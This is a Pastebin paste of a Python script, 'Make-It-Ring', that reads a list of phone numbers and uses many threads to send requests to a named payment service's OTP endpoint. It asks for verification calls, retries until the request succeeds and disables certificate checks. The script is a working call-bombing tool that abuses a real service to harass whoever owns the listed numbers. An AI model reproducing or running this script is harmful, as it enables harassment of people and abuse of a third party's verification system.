Advertisement
Kachang404

Make It ring

Nov 19th, 2018
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.95 KB | None | 0 0
  1. print("""\
  2.   __  __________  __
  3.  /  |/  /  _/ _ \/ / | Make-It-Ring!
  4. / /|_/ // // , _/_/  | Author: P4kL0nc4t
  5. /_/  /_/___/_/|_(_)   | https://github.com/p4kl0nc4t
  6. """)
  7. import thread
  8. import requests
  9. import sys
  10. requests.packages.urllib3.disable_warnings()
  11. try:
  12.     file = sys.argv[1]
  13. except:
  14.     print("usage: {} <numbers_list>".format(sys.argv[0]))
  15.     sys.exit()
  16. numbers = open(sys.argv[1], "r").readlines()
  17. count = 0
  18. processc = 0
  19. running_threads = 0
  20. print_used = False
  21. max_threads = 50
  22. def trim_ident(ident):
  23.     ident_l = len(str(ident))
  24.     if ident_l % 2 == 0:
  25.         return str(ident)
  26.     else:
  27.         return str(ident)[:ident_l-1]
  28. def prinfo(string):
  29.     thread_idlen = len(str(trim_ident(thread.get_ident())))+2
  30.     dash_c = thread_idlen-(len(string)+2)
  31.     dashes = (dash_c/2)*"-"
  32.     return "["+dashes+"|"+string+"|"+dashes+"]"
  33. print(prinfo("info")+": read {} numbers from {}".format(len(numbers), file))
  34. def process(number):
  35.     global running_threads
  36.     global processc
  37.     global print_used
  38.     running_threads += 1
  39.     number = number.rstrip()
  40.     url = "https://www.tokocash.com/oauth/otp"
  41.     data = {"msisdn": number.rstrip(), "accept": "call"}
  42.     headers = {"X-Requested-With": "XMLHttpRequest"}
  43.     temp_code = "500001"
  44.     while temp_code == "500001":
  45.         r = requests.post(url, data=data, headers=headers, verify=False)
  46.         while print_used:
  47.             pass
  48.         temp_code = r.json()['code']
  49.     print_used = True
  50.     print("\r[0x" + str(trim_ident(thread.get_ident())) + "]: " + number + " (status: " + r.json()['code'] + ")")
  51.     print_used = False
  52.     processc += 1
  53.     running_threads -= 1
  54.     return 1
  55. for number in numbers:
  56.     while running_threads >= max_threads:
  57.         pass
  58.     if number == "" or number[0] == ";": continue
  59.     count += 1
  60.     thread.start_new_thread(process, ( number, ))
  61. while processc != count:
  62.     pass
  63. print(prinfo("done")+": done all jobs! exiting . . .")
  64. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement